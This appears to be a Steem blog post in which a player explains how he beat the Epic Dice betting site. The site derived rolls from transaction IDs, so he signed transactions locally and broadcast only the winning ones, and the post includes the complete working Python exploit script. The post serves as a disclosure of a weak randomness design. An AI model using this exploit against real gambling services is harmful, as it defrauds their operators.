How 'Above 99' player outplayed Epic Dice

This is direct follow-up and process explanation of Epic Dice shut down, started by @themarkymark at Epic Dice shut down due to witness cheating

image.png
*Decentralization, absolute transparency and fairness are very good ideas. As long as they are done properly.

The problem was with too naive fairness here

Every dice result was calculated by Transaction ID of the bet (payment). @epicdice truly believed it is random. More to read here @epicdice/epicdice-fairness

In the process of block signing, various information of a particular transaction like ref_block_num, ref_block_prefix, expiration and so on, contributed in the generation of a fully random 40 hex digits trx_id

Random number is generated solely using blockchain-generated transaction ID that is impossible for the house to mess with

They say.

The truth is that Transaction ID is 40 hex string cut from SHA-256 checksum of raw transaction.
Everything what is needed is to prepare custom transaction locally, verify it's 40-cut hash with Epic Dice playcode and broadcast if matches our bet.

Souce code

Steps:

  1. Install python3.6
  2. Install beem library
  3. Run below script (with proper signing keys)
from beem import Steem
from beem.transactionbuilder import TransactionBuilder
from beembase import operations

# EpicDice fairness formula taken from epicdice.io
def playcode(trx_id):
    result = 1000000
    offset = 0
    length = 5
    endValue = offset + length
    chop = ''
    finalResult = ''
    while result > 999999:
        chop = trx_id[offset:endValue]
        offset += 5
        endValue = offset + length
        result = int(chop, 16)
        finalResult = result % (10000) / 100
        finalResult = int(round(finalResult, 0))
        if finalResult == 0:
            result = 1000000
    return finalResult

s = Steem(keys=[ACTIVE_MYS])

# prepare custom transaction
op = operations.Transfer({
    'from': 'mys',
    'to': 'epicdice',
    'amount': "1.020 STEEM",
    'memo': "Above 99"})

# in a loop: sign transaction locally and then
# if transaction id rolls 100, broadcast it to the network
while True:
    tb = TransactionBuilder(steem_instance=s)
    tb.appendOps([op])
    tb.appendWif(ACTIVE_MYS)
    tb.constructTx()
    tx = tb.sign(reconstruct_tx=False)
    
    roll = playcode(tx.id)
    if roll == 100:
        tb.broadcast()

Transaction building and signing takes ~0.5s on average home PC. Assuming we try to hit 100 roll, we should get a match every ~8min. Just broadcast prepared transaction.

image.png
I was able to bet 27 times until @epicdice was taken down for investigation. Received in total 2,698.921 STEEM.

Summarize

  • Nothing was "hacked". @epicdice code had no security nor programming flaw. It is just improper design or unawareness of things.
  • Nothing was "stolen". To be honest, I sent to their wallet 1.020 STEEM and gets back 99.960 STEEM. Who wouldn't repeat this if it works?
  • No witness tool was in use. Yes I do maintain @mysia as a light witness for Steem education purposes. However it wasn't involved in above game.
  • No other accounts beside @mys actored here.

Did I play fairly or cheat shamely? I wonder if there were any other players using same strategy 🤔


EDIT:

image.png

I have returned all of the rewards to be completely fair with the Dice.
Below is their official statement about whole situation:
@epicdice/epicdice-is-compromised

H2
H3
H4
Upload from PC
Video gallery
3 columns
2 columns
1 column
41 Comments